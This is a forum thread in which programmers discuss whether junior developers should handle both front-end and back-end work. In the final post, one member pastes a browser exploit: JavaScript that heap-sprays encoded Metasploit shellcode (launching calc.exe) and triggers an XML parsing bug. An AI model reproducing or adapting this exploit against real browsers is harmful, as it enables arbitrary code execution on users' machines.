Author Topic: Front end and back end  (Read 746 times)

0 Members and 1 Guest are viewing this topic.

Offline Code.Illusionist

  • Royal Highness
  • ****
  • Posts: 687
  • Cookies: 39
  • Compile or die trying
    • View Profile
Front end and back end
« on: October 09, 2015, 11:17:25 am »
Hello, I am wondering, do junior programmers need to do both front end and back end job at one work? I always considered that there are people who know front end like Html, css, bootstrap, javascript, jQuery... and backend where they may know other stuff. Now, I am faced with a job where they want me to do Java programming when needed (android), then front end with a web site and if required for android PHP etc.

Is that even real? Doesn't team of men work all this stuff? I am not all around guy who do all. It's funny to me.
Vae Victis - suffering to the conquered

Offline parad0x

  • VIP
  • Royal Highness
  • *
  • Posts: 638
  • Cookies: 118
    • View Profile
Re: Front end and back end
« Reply #1 on: October 09, 2015, 02:29:21 pm »
Hello, I am wondering, do junior programmers need to do both front end and back end job at one work? I always considered that there are people who know front end like Html, css, bootstrap, javascript, jQuery... and backend where they may know other stuff. Now, I am faced with a job where they want me to do Java programming when needed (android), then front end with a web site and if required for android PHP etc.

Is that even real? Doesn't team of men work all this stuff? I am not all around guy who do all. It's funny to me.
To be honest, yes. There are SEPARATE PEOPLE fot front end and back end and seeing your position I guess you are on a low pay grade position with a small company who needs to get most out of the least.

Offline Code.Illusionist

  • Royal Highness
  • ****
  • Posts: 687
  • Cookies: 39
  • Compile or die trying
    • View Profile
Re: Front end and back end
« Reply #2 on: October 09, 2015, 09:44:42 pm »
Company has over 70 workers in different areas. They earn lots of money. Problem is, the programming part of the company is made that way because there are not so much programmers in my town. People are not good enough to do the job required there. And so, they have to make their existing programmers do both front and back end. Ahhh. It frustrates me a lot, but, in this stupid country, I can not find better job atm.
Vae Victis - suffering to the conquered

Offline kenjoe41

  • Symphorophiliac Programmer
  • Administrator
  • Baron
  • *
  • Posts: 990
  • Cookies: 224
    • View Profile
Re: Front end and back end
« Reply #3 on: October 10, 2015, 12:25:14 am »
It is called being a full stack developer. You should appreciate the opportunity you are being presented with. Albeit, it is alot of work but you should make your bosses realise the reality of things and pay you well for this.

You are presented with enough time to learn all this as you go. You prolly are gonna produce alot of not soo good results with this stress but it makes you learn. When things get better and you get to move on, you have quite a CV to brag about and a good motivation to learn alot. Hope you don't have kids to stump on you as you learn all this.
If you can't explain it to a 6 year old, you don't understand it yourself.
http://upload.alpha.evilzone.org/index.php?page=img&img=GwkGGneGR7Pl222zVGmNTjerkhkYNGtBuiYXkpyNv4ScOAWQu0-Y8[<NgGw/hsq]>EvbQrOrousk[/img]

Offline DoctorT

  • Serf
  • *
  • Posts: 29
  • Cookies: -3
    • View Profile
Re: Front end and back end
« Reply #4 on: October 11, 2015, 04:39:37 pm »
To be honest, although I have never worked as a programmer (but from what I understand from programming blogs), I do think it's strange to develop a web application from scratch over a self-hosted server, and then do the web application's promotional website's HTML/CSS by yourself. Like, really, do you really fucking care about HTML anymore after you have mastered C++ templates from BOOST lib? like, seriously... I understand to be a network hacker you must know some stuff like Javascript/HTML/CSS (the noob stuff) aside from knowing sophisticated stuff like shell socket programming/DNS poisoning etc. But seriously, I wouldn't want to work at a company that'd make me color their website after I just write ten thousand lines of codes in five days for their backend stuff.

Offline kenjoe41

  • Symphorophiliac Programmer
  • Administrator
  • Baron
  • *
  • Posts: 990
  • Cookies: 224
    • View Profile
Re: Front end and back end
« Reply #5 on: October 11, 2015, 07:37:31 pm »
asdf
@Code.Illusionist Don't listen to him. He is saying network hacker and javascript/html/css in the same sentence. He gonna hack your network with javascript and css. He has mastered  C++ templates from the boost lib. He is coding the the website's main backend using C++ [which is ok] but doesn't want to know about html, i wonder how he will present the results of all that processing with his C++ templates to the world. SERIOUS DoctorT.

My say is the same people should do this or have a good communication link between the two team or we are going to have a shitty product out there since these people don't communicate. Again @OP, be happy and celebrate you have the opportunity you have here, unless you are not motivated to learn.
If you can't explain it to a 6 year old, you don't understand it yourself.
http://upload.alpha.evilzone.org/index.php?page=img&img=GwkGGneGR7Pl222zVGmNTjerkhkYNGtBuiYXkpyNv4ScOAWQu0-Y8[<NgGw/hsq]>EvbQrOrousk[/img]

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: Front end and back end
« Reply #6 on: October 11, 2015, 09:33:01 pm »
I work in the same position - I am maintaining an android app which I developed from scratch and I had to write a PHP backend for it.
I had a discussion before (many times) which is better - to only know your shit and be really narrow about it, or go wide and be all round guy. I am the universal guy, I like to go wide and I can't imagine how can one code in something (like Java or C++) and can't write a fucking SQL statement - that is just ridiculous. I know in real life an example that in some software company, there are different programmers for different things, like one for databases, one for java backend, one for php backend, one for web frontend etc. and NEITHER of them can assemble a computer - that is just retarded.
The main reason why you want to be universal is because you can adapt faster and better that way, you can change professions faster, employers always like universal guys as well. Ofc you can say that if you know everything, then you know nothing - which isn't true in many cases, but is true in some cases  :P

Offline DoctorT

  • Serf
  • *
  • Posts: 29
  • Cookies: -3
    • View Profile
Re: Front end and back end
« Reply #7 on: October 13, 2015, 06:28:50 pm »
@Code.Illusionist Don't listen to him. He is saying network hacker and javascript/html/css in the same sentence. He gonna hack your network with javascript and css. He has mastered  C++ templates from the boost lib. He is coding the the website's main backend using C++ [which is ok] but doesn't want to know about html, i wonder how he will present the results of all that processing with his C++ templates to the world. SERIOUS DoctorT.

My say is the same people should do this or have a good communication link between the two team or we are going to have a shitty product out there since these people don't communicate. Again @OP, be happy and celebrate you have the opportunity you have here, unless you are not motivated to learn.

I admit I wasn't clear (a little rushed while making my reply) last time, but I never said I could "hack into (someone's) network using JS/CSS." I am not shitting you, but you can do stuff with Javascript... Here is an exploit I copy-pasted from Stackoverflow's thread about it .

Code: [Select]
html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

Obviously this exploits some XML parsing bug which is out of the scope of this thread. I am just saying, to be a computer scientist (actual engineer), you need to know shit about your field while also being decent at maths, physics, chemistry and biology where all except maths are irrelevant in your field. Because when you call yourself a programmer, you must be able to code Javascript (can you code a forum software, an actual, functioning software which is the bread and butter of companies like Invision, Internet Brands and then-Jelsoft?, without using Jquery/Javascript? You must be bullshiting) and stuff like that. But I wouldn't work for a company that tells me to create a debugger, then design (color, move stuff, create categories, etc.) for its promotional website. Fuck that.